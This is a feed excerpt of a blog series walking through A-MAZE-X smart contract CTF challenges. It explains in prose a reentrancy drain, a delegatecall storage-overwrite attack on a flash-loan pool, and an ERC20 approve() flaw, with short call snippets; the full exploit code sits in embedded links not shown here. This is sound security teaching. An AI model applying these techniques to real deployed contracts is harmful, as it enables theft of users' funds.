setups what we need.</p><p>We start by defining a counter on cero — since we are going only for 9 rounds — and then another variable that will enable the reentrancy exploit.</p><p><em>— Before continuing, I leave you as an exercise to guess why I need to be able to enable/disable the exploit. 💭</em></p><p>Finally, the function that will be called to abuse the reentrancy is as follows.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/c821f1b415fbcb427ad9e9f9df2edb9b/href">https://medium.com/media/c821f1b415fbcb427ad9e9f9df2edb9b/href</a></iframe><p>Checks whether we are ok to continue and that we are not past the 9th round. It increases the <strong>counter</strong> and calls again <strong>removeLiquidity</strong> triggering the reentrancy.</p><p>After 9 rounds it will stop calling the DEX contract, and <em>transfer</em> the loot to the <em>challenger</em> account, solving the challenge.</p><p>Oh, and we also ended up with 115792089237316195423570985008687907853269984665640564039448.584007913129639936 LP tokens as a consequence of the exploitation 😅.</p><p><em>— Can you explain why? 💭</em></p><h3>Solution</h3><p>Exploit contract and deployment/usage of it below.</p><h4>Exploit contract</h4><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/9b2d49624c3ea5c1d4ed0c4f3de9d121/href">https://medium.com/media/9b2d49624c3ea5c1d4ed0c4f3de9d121/href</a></iframe><h4>Deployment</h4><p>I added some printing in order to provide more visibility on the impact of what I was doing.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a2f313aff7f912d288d897501b6c0ab8/href">https://medium.com/media/a2f313aff7f912d288d897501b6c0ab8/href</a></iframe><p><em>— Did any of the possibilities you wrote down are similar to the bug we found? What did you miss? </em>💭</p><figure><img alt="Journey character render flying away to the next challenge" src="https://cdn-images-1.medium.com/max/400/1*1ShO81yWPP0nNwk2tXRI5A.png" /><figcaption>Render from Journey character by lugalque at DeviantArt</figcaption></figure><p>See you in the <a href="https://medium.com/@mattaereal/a-maze-x-ctf-walkthrough-part-iv-last-407f5de236f8">next post!</a> ➡️</p><p>And again, thanks for reading!</p><p><em>Thanks for reading! My name is Matt, and I’m learning how to make Ethereum more secure. I will be sharing some things from time to time.<br>Follow me on twitter </em><a href="https://medium.com/@mattaereal/twitter.com/mattaereal"><em>@mattaereal</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd8997b7b5bf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A-MAZE-X CTF Walkthrough | Part II]]></title>
            <link>https://medium.com/@mattaereal/a-maze-x-ctf-walkthrough-part-ii-c4d3dcc6f700?source=rss-e8f043f3c497------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4d3dcc6f700</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[solutions]]></category>
            <dc:creator><![CDATA[matta @ theredguild.org]]></dc:creator>
            <pubDate>Tue, 27 Sep 2022 21:56:44 GMT</pubDate>
            <atom:updated>2022-10-05T12:37:34.075Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This post belongs to a series of articles dedicated to solving the DeFi challenges hosted by Secureum at Stanford University on the past 26 of August.</em></p><p><em>Additionally, this series is part of a greater series called </em><a href="https://medium.com/@mattaereal/a-journey-into-smart-contract-security-3115ff480f28"><em>A journey into smart contract security.</em></a></p><figure><img alt="A-MAZE X CTF" src="https://cdn-images-1.medium.com/max/1024/1*4Ur84oDcMPtBvpKuSxmrFw.png" /><figcaption>Image extracted from LiveOverflow’s YT channel</figcaption></figure><p>We&#39;re barely heating up! Are you ready for the second challenge?</p><h3>Table of contents</h3><p>1. <a href="#0bc4"><strong>Challenge1.lenderpool — What a nice Lender Pool!</strong></a><br> 1.1. <a href="#48c0">Challenge description</a><br>2. <a href="#a087"><strong>The code</strong></a><br> 2.1. <a href="#b91e">First part</a><br> 2.2. <a href="#5b8e">Second part</a><br> 2.3. <a href="#e947">Third part</a><br> 2.4. <a href="#aa7d">Dissecting flashloan()</a><br>3. <a href="#6c64"><strong>Vulnerabilities</strong></a><br>4.<strong> </strong><a href="#1992"><strong>The exploit</strong></a><br>5. <a href="#9afc"><strong>Solution</strong></a><br> 5.1. <a href="#d10b">An easier solution</a></p><h3>Challenge1.lenderpool — What a nice Lender Pool!</h3><p>Again, before jumping to the challenge description, let’s do some thinking first.</p><blockquote><strong>Reminder</strong> to <strong><em>pause</em></strong>, and <strong><em>really</em></strong> think every time you see this emoji near a paragraph: 💭.</blockquote><p><em>— By looking at the name of the file, and the title of this challenge, what can you conclude? — </em><strong><em>think</em></strong><em>. </em>💭</p><p>— That it’s going to be about lending? a lending pool?</p><p><em>— Great! Do you know what a lender pool is?</em></p><p>—Uhm, I&#39;m guessing it&#39;s going to be some kind of contract where one could borrow tokens or ether, with all the things associated with it (fees, rates).</p><p><em>— Exactly, you may ask for a loan.</em></p><blockquote><em>Can you anticipate possible attacks within this context? 💭</em></blockquote><p>Let&#39;s go to the challenge description to gather more information.</p><h4>Challenge description</h4><blockquote><strong>Secureum</strong> has raised a lot of <strong>Ether</strong> and decided to buy a bunch of <strong>InSecureumTokens</strong> (<strong>$ISEC</strong>) in order to make them available to the community via <em>flash loans</em>. This is made possible by means of the <strong>InSecureumLenderPool</strong> contract.</blockquote><blockquote>📌 Upon deployment, the <strong>InSecureumToken</strong> contract mints an initial supply of 10 <strong>$ISEC</strong> to the contract deployer.</blockquote><blockquote>📌 The <strong>InSecureumLenderPool</strong> contract operates with <strong>$ISEC</strong>.</blockquote><blockquote>📌 The contract deployer transfers all of their <strong>$ISEC </strong>to the <strong>InSecureumLenderPool</strong> contract.</blockquote><blockquote>📌 The idea is that anyone can deposit <strong>$ISEC</strong>s to enlarge the pool’s resources.</blockquote><blockquote>Will you be able to steal the<strong> $ISEC</strong>s from the <strong>InSecureumLenderPool</strong>? 😈</blockquote><p>The description explains how many contracts are there, and how are they interacting. Fortunately is pretty straightforward, we will see if the code is as easy as it was reading this.</p><p>New concepts have been introduced, but we will talk about them when their time comes.</p><p>Our goal is to steal all the tokens from the <strong><em>InSecureumLenderPool</em> </strong>contract.</p><h3>The code</h3><p><em>I’m going to split the code into three parts to analyze them further.</em></p><h4>First part</h4><p>So here&#39;s the first chunk of code for this second challenge.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/249e8f83bb62aa6e3e30711877207e34/href">https://medium.com/media/249e8f83bb62aa6e3e30711877207e34/href</a></iframe><p>It doesn&#39;t say much about possible attack vectors except for its domain. It is hinting to us it can be something related to tokens transfer and how this contract manages their loans. Nothing we haven&#39;t implied from before.</p><h4>Second part</h4><p>Deposit and withdraw functionality.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/edfe33ad1ba821e9934818516e110803/href">https://medium.com/media/edfe33ad1ba821e9934818516e110803/href</a></iframe><p>From its looks all I can see is that it is not using OZ&#39;s <strong><em>safeMath</em></strong> to do arithmetic operations, which will revert if it sees anything funny, like under/overflows. The latest compiler versions takes that into account already.</p><blockquote><strong>From Solidity’s doc, </strong><a href="https://docs.soliditylang.org/en/v0.8.0/080-breaking-changes.html"><strong>v0.8.0</strong></a><strong> release.</strong></blockquote><blockquote>Arithmetic operations revert on underflow and overflow. You can use unchecked { ... } to use the previous wrapping behaviour.</blockquote><blockquote>Checks for overflow are very common, so we made them the default to increase readability of code, even if it comes at a slight increase of gas costs.</blockquote><p>So unless the contract code we&#39;re trying to exploit has been compiled with a Solidity version prior to 0.8.0,<a href="https://stackoverflow.com/questions/70074736/do-you-need-safemath-in-solidity-version-0-8-and-if-not-can-you-still-import"> there will be no need to dig deeper</a> on this matter.</p><p>Leaving aside what we just discussed, I don&#39;t seem to see anything in particular. The classic mistake here would be sending tokens <em>before</em> decrementing the amount, but even <strong><em>safeTransfer</em></strong> is being called.</p><p>Let&#39;s move on, and maybe come back later.</p><h4>Third part</h4><p>Let&#39;s suppose you have enough ether to pay for a transaction. You suddenly see an opportunity: someone is selling an <strong>NFT</strong> at <strong>1</strong> <strong>ether</strong>, and a collector is buying NFTs from that series at <strong>2 ether</strong>.</p><p>— Oh, how I wish I had <strong>1 ether</strong> right now! If only there could be a way to ask for it and return it asap, even with interest!</p><blockquote>Let me introduce you to: 🌟 flashloans 🌟</blockquote><p>If you don’t know the idea behind a <strong><em>flashloan</em></strong>, let me sum it up for you: <em>you can ask for a loan, and within the same transaction you somehow have to return it.</em></p><p>Following the example, you could create a smart contract that upon the execution of its main functionality, it would ask for 1 ether (<strong>loan</strong>), buy the NFT, sell it, and return it (with the interest of course). It&#39;s all done in a single transaction (in a <strong>flash</strong>).</p><p>It’s a game changer! Someone with just enough <strong>eth</strong> to pay for a transaction can use a <strong>flashloan</strong> to make a financial difference. This was one of the very first things that convinced me back into the field (for real).</p><p>Now back to the code.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/70e7fab9c44e574375aab2fb2d1644bf/href">https://medium.com/media/70e7fab9c44e574375aab2fb2d1644bf/href</a></iframe><p>For obvious reasons, my intuition says the vulnerability <em>must be </em>in the <strong><em>flashloan</em></strong> implementation. Mainly because it is the only one providing critical functionality, and because it&#39;s the last piece of code left 😅.</p><h4>Dissecting <em>flashloan()</em></h4><p>The code is short and straightforward. It checks the token balance of the contract before and after what appears to be a delegate call from the extended functionality on Address.</p><blockquote>The directive using A for B; can be used to attach functions (A) as member functions to any type (B). These functions will receive the object they are called on as their first parameter (like the self variable in Python).</blockquote><p><em>— But why would a </em><a href="https://solidity-by-example.org/delegatecall/"><strong><em>delegatecall</em></strong></a><em> be used in this scenario? </em>💭</p><p>— Uhm, maybe because in that way you force <strong>msg.sender</strong> to operate with the <strong>borrower</strong> contract directly?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NSf7smJtn42yWsJ2cP3aHw.png" /><figcaption>Delegatecall illustration with msg.sender</figcaption></figure><p><em>—That seems unnecessary... And what other consequences does this entail?</em></p><p>— Oh! I know I know! Isn&#39;t this something like importing the other contracts&#39; code inside of mine?</p><p><em>—Cloooose enough. You may see it as using the callee&#39;s contract code within the caller&#39;s context.</em></p><p>— Isn&#39;t that like, bad?</p><p><em>— Depends on what you&#39;re trying to achieve. For a good example of this, you can read more about </em><a href="https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable"><em>upgradable contracts</em></a><em>.</em></p><p>— And in this case? 👀</p><p><em>— Well, that&#39;s on you to find out. And let me ask you a question. What would you do if you could manage the challenge contracts&#39; storage slots? </em>💭</p><p>— Duh, I&#39;d add infinite balance to my address.</p><p><em>—And why don&#39;t you do it then? With the borrower’s contract code you have access to </em><strong><em>InSecureumLenderPool</em></strong><em> storage slots.</em></p><p>— Wait what? 😵</p><h3>Vulnerabilities</h3><p>Whenever interacting with another contract using <strong><em>delegatecall</em></strong>, all modifications to the callee contract&#39;s storage variables, impact directly on the caller&#39;s storage accordingly to the position of the storage lot of each one of them.</p><p>If I were to create a contract, whose first declared variable is an <strong>address</strong> called &quot;<strong>example</strong>&quot;, it will be assigned the storage slot 0. And if I somehow modify that variable, under the hood I will be modifying the data structure which is in slot 0.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/104e09b111c20d5447060be67a7a50ec/href">https://medium.com/media/104e09b111c20d5447060be67a7a50ec/href</a></iframe><p><em>— So if I have the contract from above, and I run a </em><strong><em>delegatecall</em></strong><em> from </em><strong><em>InSecureumLenderPool</em></strong><em> asking to run </em><strong><em>setExample</em></strong><em> with a new </em><strong><em>address</em></strong><em>, what do you think it&#39;s going to happen?</em></p><p>— I&#39;m trying to picture it in my mind.</p><p><em>— Let me help!</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RB1kMhz48zj-thWGYPM_Ag.png" /><figcaption>Visual implication from running setExample with a delegatecall.</figcaption></figure><p>— Oh, since its first storage lot has been assigned to variable <strong>token</strong>, the <strong>new</strong> <strong>example</strong> address is going to overwrite <strong>token</strong>&#39;s current one!</p><p><em>— Great! Now back to our objective. Let&#39;s steal the moneyz </em>😈<em>.</em></p><p>If instead of using a <strong><em>delegatecall</em></strong> the contract used a simple <strong>call</strong>, would this have happened? 💭</p><h3>The exploit</h3><p>There are different things that can be done over here:</p><ol><li>modifying <strong>flashloan</strong> variable status to <strong>false</strong>: we can avoid reentrancy protections!</li><li>swapping the <strong>token&#39;s</strong> contract address to a fake one where the balance always returns bigger than before after returning from the <strong>delegatecall</strong>: we could trick the lender into thinking we deposited real tokens, and then withdraw the real ones.</li><li>modifying <strong>balances</strong> mapping to our liking: say no more!</li></ol><h3>Solution</h3><p>The approach we are going to take as a solution will involve modifying the <strong>balances</strong> mapping. We will set ourselves the maximum balance we can get.</p><p>To do this, we need to configure the exploit contract with the exact same order of the storage variables. This is mandatory to be able to work with the same storage layout.</p><p>If you pay attention, all I did was copy the first part of the target contract, and add a function named <strong>run</strong> which sets our balance to a desired amount.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/25c9ac999a775271f69b132fd4faa2d7/href">https://medium.com/media/25c9ac999a775271f69b132fd4faa2d7/href</a></iframe><p>Since I&#39;m getting familiar with <strong>ethers, </strong>I decided to craft my own <strong>calldata with it</strong>.</p><p>After playing a bit with <strong>hardhat</strong> <strong>console</strong>, poking around the utils part of <strong>ethers</strong>, and reading the documentation back and forth, I ended up with this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/fc93c2b3bf4534fd915e31fc884e5834/href">https://medium.com/media/fc93c2b3bf4534fd915e31fc884e5834/href</a></iframe><p>The basics to make a call to a function in this way, are knowing the function&#39;s selector, and all the parameters that will be appended to it.</p><p>The <a href="https://solidity-by-example.org/function-selector/">function selector</a> are the first 4 bytes of the result from applying the hash function <strong>keccak256</strong> to the function signature in need.</p><pre><strong>bytes4</strong>(<strong>keccack256</strong>(&quot;function(type1,type2…&quot;)))</pre><p>I also created a <strong>fallback</strong> in case my <strong>calldata</strong> was missing something, I wasn&#39;t letting my attack go to waste 😅.</p><p>Additionally, I used an alternative I found later to create the <strong>calldata</strong> using <strong>encodeFunctionData </strong>and compared it with the one created by myself.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f59ed34ad65555b9ecf9ab274298795f/href">https://medium.com/media/f59ed34ad65555b9ecf9ab274298795f/href</a></iframe><p>The resultant Javascript code to deploy and execute the attack is below.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/281b47d26096fce2f876df16c3e03ba9/href">https://medium.com/media/281b47d26096fce2f876df16c3e03ba9/href</a></iframe><h4>An easier solution</h4><p>Now let me ask you, did you see an easier way to achieve this challenge&#39;s objective? Something that we can reuse from previous experience? 💭</p><p>What if I tell you we could reuse what we did in our previous post?</p><p>Inside solveChallenge1.jsright after the comment that reads <em>&quot;Deploy Challenge Contracts&quot;</em>, you will find the following line: const isecTokenFactory = await ethers.getContractFacgtory(&quot;<strong>InSecureumToken</strong>&quot;, deployer) . Do you know what this means?</p><p>That&#39;s right, the token which is being used by the lender pool is the same as the one we already exploited: <strong>InSecureumToken</strong>.</p><p>We could just <strong>approve</strong> ourselves as spenders in the name of the lender pool, and then transfer all the tokens to ourselves.</p><p>I leave this simple exercise to you 😄.</p><figure><img alt="Journey character render flying away to the next challenge" src="https://cdn-images-1.medium.com/max/400/1*1ShO81yWPP0nNwk2tXRI5A.png" /><figcaption>Render from Journey character by lugalque at DeviantArt</figcaption></figure><p>See you in the <a href="https://medium.com/@mattaereal/a-maze-x-ctf-walkthrough-part-iii-dd8997b7b5bf">next challenge</a> of this series! ➡️</p><p><em>Thanks for reading! My name is Matt, and I’m learning how to make Ethereum more secure. I will be sharing some things from time to time.<br>Follow me on twitter </em><a href="https://medium.com/@mattaereal/twitter.com/mattaereal"><em>@mattaereal</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4d3dcc6f700" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A-MAZE-X CTF Walkthrough | Part I]]></title>
            <link>https://medium.com/@mattaereal/amaze-x-ctf-walkthrough-part-i-cdd3a5292a14?source=rss-e8f043f3c497------2</link>
            <guid isPermaLink="false">https://medium.com/p/cdd3a5292a14</guid>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hard-hat]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[solidity]]></category>
            <dc:creator><![CDATA[matta @ theredguild.org]]></dc:creator>
            <pubDate>Thu, 22 Sep 2022 14:01:50 GMT</pubDate>
            <atom:updated>2022-09-27T21:56:58.662Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This post belongs to a series of articles dedicated to solving the DeFi challenges hosted by Secureum at Stanford University on the past 26 of August.</em></p><p><em>Additionally, this series is part of a greater series called </em><a href="https://medium.com/@mattaereal/a-journey-into-smart-contract-security-3115ff480f28"><em>A journey into smart contract security</em></a><em>.</em></p><figure><img alt="A-MAZE X CTF" src="https://cdn-images-1.medium.com/max/1024/1*4Ur84oDcMPtBvpKuSxmrFw.png" /><figcaption>Image extracted from LiveOverflow’s YT channel</figcaption></figure><h3>Table of contents</h3><p>1. <a href="#5a59">Challenge0.VToken — VitaToken seems safe, right?</a><br> 1.1 <a href="#cdbe">Challenge description</a><br> 1.2 <a href="#fb90">Dissecting the code</a><br>2. <a href="#99bd">The vulnerability</a><br>3. <a href="#6cdd">The exploit</a><br> 3.1 <a href="#ea5e">The Exploit (in Solidity)</a></p><h3>Challenge0.VToken — VitaToken seems safe, right?</h3><p>Now, before jumping to the challenge description, let&#39;s do some thinking first. I encourage you to <strong><em>pause</em></strong>, and <strong><em>really</em></strong> think every time you see this emoji near a paragraph: 💭.</p><p><em>— By looking at the name of the file, and the title of this challenge, what can you conclude? — </em><strong><em>think</em></strong><em>. </em>💭</p><p>— That it&#39;s going to be related to <a href="https://docs.openzeppelin.com/contracts/4.x/tokens#different-kinds-of-tokens"><strong>tokens</strong></a>?</p><p><em>— Great! What else?</em></p><p>— The name of the token appears to be <strong>VitaToken</strong>, maybe as a wink to <strong>Vitalik? </strong>And it implies is not safe.</p><p><em>— Excellent! Can you guess which kind of token will it be?</em></p><blockquote>The most popular token contracts are <a href="https://docs.openzeppelin.com/contracts/4.x/erc20">ERC20</a>, <a href="https://docs.openzeppelin.com/contracts/4.x/erc721">ERC721</a>, <a href="https://docs.openzeppelin.com/contracts/4.x/erc777">ERC777</a>, and <a href="https://docs.openzeppelin.com/contracts/4.x/erc1155">ERC1155</a>.</blockquote><blockquote><a href="https://docs.openzeppelin.com/contracts/4.x/erc20">ERC20</a>: the most widespread token standard for fungible assets, albeit somewhat limited by its simplicity.</blockquote><blockquote><a href="https://docs.openzeppelin.com/contracts/4.x/erc721">ERC721</a>: the de-facto solution for non-fungible tokens, often used for collectibles and games.</blockquote><blockquote><a href="https://docs.openzeppelin.com/contracts/4.x/erc777">ERC777</a>: a richer standard for fungible tokens, enabling new use cases and building on past learnings. Backwards compatible with ERC20.</blockquote><blockquote><a href="https://docs.openzeppelin.com/contracts/4.x/erc1155">ERC1155</a>: a novel standard for multi-tokens, allowing for a single contract to represent multiple fungible and non-fungible tokens, along with batched operations for increased gas efficiency.</blockquote><p>— If I have to guess, given our context, taking into account this is the first challenge, I&#39;d say it&#39;s going to be an <strong>ERC20.</strong></p><p><em>—Great guess! We&#39;ll see. Now, how can a token contract not be safe? </em>💭</p><p>— Uh, that&#39;s a tough one. Am I supposed to know all of this by this moment?</p><p>— <em>Not necessarily, but since we know these challenges try to simulate real case scenarios, we may be able to find common attack vectors.</em></p><p><em>—</em>Oh, ok…<em> </em>Can we go to the description now?</p><h4>Challenge description</h4><blockquote>Let’s begin with a simple warm-up. Our beloved Vitalik is the proud owner of <strong>100 $VTLK</strong>, which is a token that follows the <strong>ERC20</strong> token standard. Or at least that is what it seems… 😉</blockquote><blockquote>Upon deployment, the <strong>VToken</strong> contract mints <strong>100 $VTLK</strong> to Vitalik’s address.</blockquote><blockquote>Is there a way for you to steal those tokens from him? 😈</blockquote><p>We basically got right all the things we imagined, but don&#39;t get so pompous, remember this is just a warm-up.</p><h4>Dissecting the code</h4><p>Let&#39;s begin with the contract header and the constructor.</p><p><em>Note: I&#39;m not going to speak about </em><strong><em>SPDX-License-Identifier</em></strong><em>, </em><strong><em>pragmas</em></strong><em>, or </em><strong><em>imports</em></strong><em> because I&#39;m assuming you already know everything about them. If that&#39;s not the case, I suggest you start with the first part of </em><a href="https://docs.soliditylang.org/en/v0.8.17/introduction-to-smart-contracts.html#simple-smart-contract"><em>this</em></a><em> document.</em></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/1d775f89d059c485e6838d67b31061ba/href">https://medium.com/media/1d775f89d059c485e6838d67b31061ba/href</a></iframe><p><strong>VToken</strong> implements the contract <strong>ERC20</strong>, imported from <strong>OpenZeppelin</strong>&#39;s contracts.</p><blockquote>This is the third time I link to one of their sites. Their Solidity library is one of the best alternatives out there to secure-develop smart contracts. Having said that, we can rest assured that those contracts are secure by default (though security is a <em>state</em>, not an <em>immutable</em> <em>attribute</em>).</blockquote><p>— <em>Do you know what ERC stands for, and where do the numbers come from?</em></p><p>An<strong> ERC (</strong>Ethereum Request for Comments) is a specific type of<strong> EIP (</strong>Ethereum Improvement Proposals).<strong> </strong>Its name came from the old-timer <strong>RFC</strong> (see below). In short, it&#39;s a technical specification for an on-chain application that becomes a standard. And you know what&#39;s cool about it? Anybody can create one to be discussed with others. Read more about it <a href="https://eips.ethereum.org/">here</a>.</p><blockquote>A Request for Comments (RFC) is a publication in a series from the principal technical development and standards-setting bodies for the Internet, most prominently the Internet Engineering Task Force (IETF)</blockquote><p>So, the <strong>constructor</strong> seems to be properly implemented, and the call to <strong>_mint()</strong> is as well. If you&#39;re using <strong>VSCode</strong>, and have <a href="https://docs.openzeppelin.com/contracts/4.x/">OZ&#39;s contracts installed </a>(which will be mandatory to compile the challenge), you can <em>Ctrl + Click</em> over the import, and browse the <strong>ERC20.sol</strong> contract file.</p><p><em>Some token implementations usually mint directly to </em><strong><em>msg.sender </em></strong><em>upon deployment</em><strong><em>,</em></strong><em> instead to a specific contract address.</em></p><p>The only thing that follows, and the last, is the <strong>approve()</strong>function. It&#39;s not an override from the original standard because the function header differs.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/160d5e10cc21782332f316fb4eb7b794/href">https://medium.com/media/160d5e10cc21782332f316fb4eb7b794/href</a></iframe><p>Check out the difference (<strong>_msgSender()</strong>is a wrapper for <strong>msg.sender</strong>).</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/b2749470ec00f2c43409ec33c3e6bdc8/href">https://medium.com/media/b2749470ec00f2c43409ec33c3e6bdc8/href</a></iframe><p><strong>_approve()</strong>basically approves an address, to be a <strong>spender</strong> over a number (<strong>amount</strong>) of tokens from a given <strong>owner</strong>.</p><p><em>Spoiler: the vulnerability to exploit is right here in this code.</em></p><p>Ok, I&#39;m not actually spoiling since there&#39;s no more code to analyze, so you should&#39;ve realized this by now 😅.</p><h4><strong>Can you see it? </strong>💭</h4><p>Let&#39;s think again. A few questions to prompt your mind a bit:<br>1. Who can call that function?<br>2. What parameters are under our control?<br>3. Can the difference from the original function affect its intended functionality somehow? why?</p><h3>The vulnerability</h3><p>The key difference between the implemented <strong>approve()</strong> function and the one inherited from the standard <strong>ERC20</strong>, is how <strong>owner</strong> is being handled upon being called in the underlining method <strong>_approve()</strong>.</p><p>In the <strong>VToken</strong> contract, <strong>owner </strong>comes from a parameter under our control, and in the standard, it is always <strong>msg.sender</strong>.</p><p><em>Do you now see the issue? </em>💭</p><p>This allows us, to approve a transfer from any source of origin (<strong>owner</strong>), to any destination (<strong>spender</strong>), with any desired amount.</p><p>Let&#39;s see an example.</p><p>Ideally, if we were to gather Vitalik&#39;s tokens, we would need to ask him to approve them for us as a spender.</p><pre>He would have to run:<br><strong>vToken.approve</strong>(ourAddress, 100 <strong>ether</strong>)</pre><pre>This will end up calling:<br><strong>_approve</strong>(<strong><em>msg.sender</em></strong>, ourAddress, 100 <strong>ether</strong>) // msg.sender == vitalik</pre><p>And only then, we could transfer them to us.</p><pre><strong>vToken</strong>.<strong>transferFrom</strong>(vitalik, ourAddress, 100 <strong>ether</strong>)</pre><p>But, since we have this other implementation that does not force us to use <strong>msg.sender</strong> as <strong>owner</strong>, we can directly run it ourselves.</p><pre><strong>approve</strong>(<em>vitalik</em>, ourAddress, 100 <strong>ether</strong>)</pre><pre>This will end up calling:<br><strong>_approve</strong>(<em>vitalik</em>, ourAddress, 100 <strong>ether</strong>)</pre><p>And now you can finally execute the <strong>transferFrom()</strong>as before, getting all their tokens.</p><h3>The exploit</h3><p>For this, you will need to work on <strong>/test/solveChallenge0.js,</strong><em> </em>where all the contracts that will be needed are already deployed.</p><p>Take your time to browse through the code and understand it, I know you will 😃. 💭</p><p><strong>Done?</strong> <em>Great</em>.</p><p>If the contract has been deployed correctly —<em> don&#39;t worry, this has been done already by the authors of the challenge </em>—, you will be able to call all the functions directly.</p><p><strong>But</strong> — <em>and this is </em><strong><em>a huge but</em></strong><em> that I understood recently</em>—if you for example call <strong>vtoken.approve()</strong>(with any parameters of your liking) it will <strong><em>always</em></strong> fail with something like &quot;<strong>function is not defined&quot;</strong>, and if you call <strong><em>any</em></strong> other function it does not. Why?<strong> 😞</strong></p><p>Since I couldn&#39;t bear not knowing the hell was happening, I started to debug the code and reached a conclusion: It only happens with contracts whose functions have their names repeated <em>at least</em> once, like <strong>approve</strong> in our case.</p><blockquote>Let me introduce you to: 🌟<strong><em>function overloading🌟</em></strong></blockquote><p><strong>Solidity</strong> allows overloading functions <em>by types</em>, and <strong>Javascript</strong> does not support it. In consequence, <strong>ethers.js</strong> just takes away the possibility to call any function that has been overloaded (repeated its name).</p><blockquote>I could not find an explanation on this matter in <a href="https://docs.ethers.io/v5/api/contract/">ethers current documentation</a>, so I <a href="https://github.com/ethers-io/ethers.js/issues/3364">opened an issue</a> suggesting it to be added, and created a <a href="https://github.com/mattaereal/etherjs-function-overload">proof of concept repository</a> along with it.</blockquote><blockquote>To access overloaded functions, use the full typed signature of the functions (e.g. contract[&quot;foobar(address,uint256)&quot;]).</blockquote><p>Great, so the two current alternatives are as follows:</p><pre><strong>vtoken</strong>[&quot;<strong>approve</strong>(address,address,uint256)&quot;](owner, spender, amount)</pre><pre><strong>vtoken</strong>.<strong>transferFrom</strong>(owner, spender, amount)</pre><p>We will be using the previously defined variables, and <strong>ethers.utils.parseEther()</strong>to convert the number of tokens to the actual representation (which coincidentally uses the same amount of <a href="https://docs.openzeppelin.com/contracts/4.x/erc20#a-note-on-decimals">decimals as <strong>ether</strong> to <strong>wei</strong></a>). The complete Javascript code is below.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a318911c6a9f367f0c4db7d094a57d3e/href">https://medium.com/media/a318911c6a9f367f0c4db7d094a57d3e/href</a></iframe><p>And that&#39;s it! Congratulations!</p><p>If you run<strong> </strong><strong>npx hardhat test test/solveChallenge0.js </strong>you should see we passed the test, meaning we solved the challenge! 🎊</p><blockquote>Did you know that you could run hardhat with a shorthand?: <strong>hh</strong><br>We will be using it from now on. <a href="https://hardhat.org/hardhat-runner/docs/guides/command-line-completion">Configuration here.</a></blockquote><p>— Awesome, but can we use a contract instead? I see there&#39;s an <strong>Exploit0.sol</strong> in the folder, aren&#39;t we supposed to use it?<br> — <em>Well, yes… we can use a contract, and no... it&#39;s unnecessary as long as we solve the challenge. The easiest way would be as we already did, but if you want to warm up your solidity skills I won&#39;t stop you from doing so.</em></p><h4>The Exploit (in Solidity)</h4><p><em>Do you see how our previous exploit could fail in a real scenario? 💭<br>What are we assuming that we shouldn&#39;t if we were to gather all the tokens he currently has?</em></p><p>If by any chance Vitalik spent any of his tokens before you executed the exploit, the hard coding of the tokens would make it fail.</p><p><em>So, what you could do in order to rest assured it won´t? 💭</em></p><p>At least, two things:<br> — Set an infinite approval, using <strong>uint256</strong> maximum value (2²⁵⁶–1).<br> — Check for his current <strong>balance</strong> right before transferring.</p><p>I leave it to you as an exercise to understand the exploit below and its deployment. You now have all the knowledge to comprehend it.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/27f5d8645c8192716d21e927a7fdd039/href">https://medium.com/media/27f5d8645c8192716d21e927a7fdd039/href</a></iframe><p>This is what the Javascript code needed to solve the challenge would look like.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/882ba3c9d84f61737f63de655f317bd6/href">https://medium.com/media/882ba3c9d84f61737f63de655f317bd6/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*YVqBbCQt-B0HDBACyEMRxw.png" /><figcaption>Journey character</figcaption></figure><p>Thanks for reading, and again congratulations on finishing this first challenge! 👏</p><p>See you in the <a href="https://medium.com/@mattaereal/a-maze-x-ctf-walkthrough-part-ii-c4d3dcc6f700?postPublishedType=initial">next post </a>of this journey! ➡️</p><p><em>Thanks for reading! My name is Matt, and I’m learning how to make Ethereum more secure. I will be sharing some things from time to time.<br>Follow me on twitter </em><a 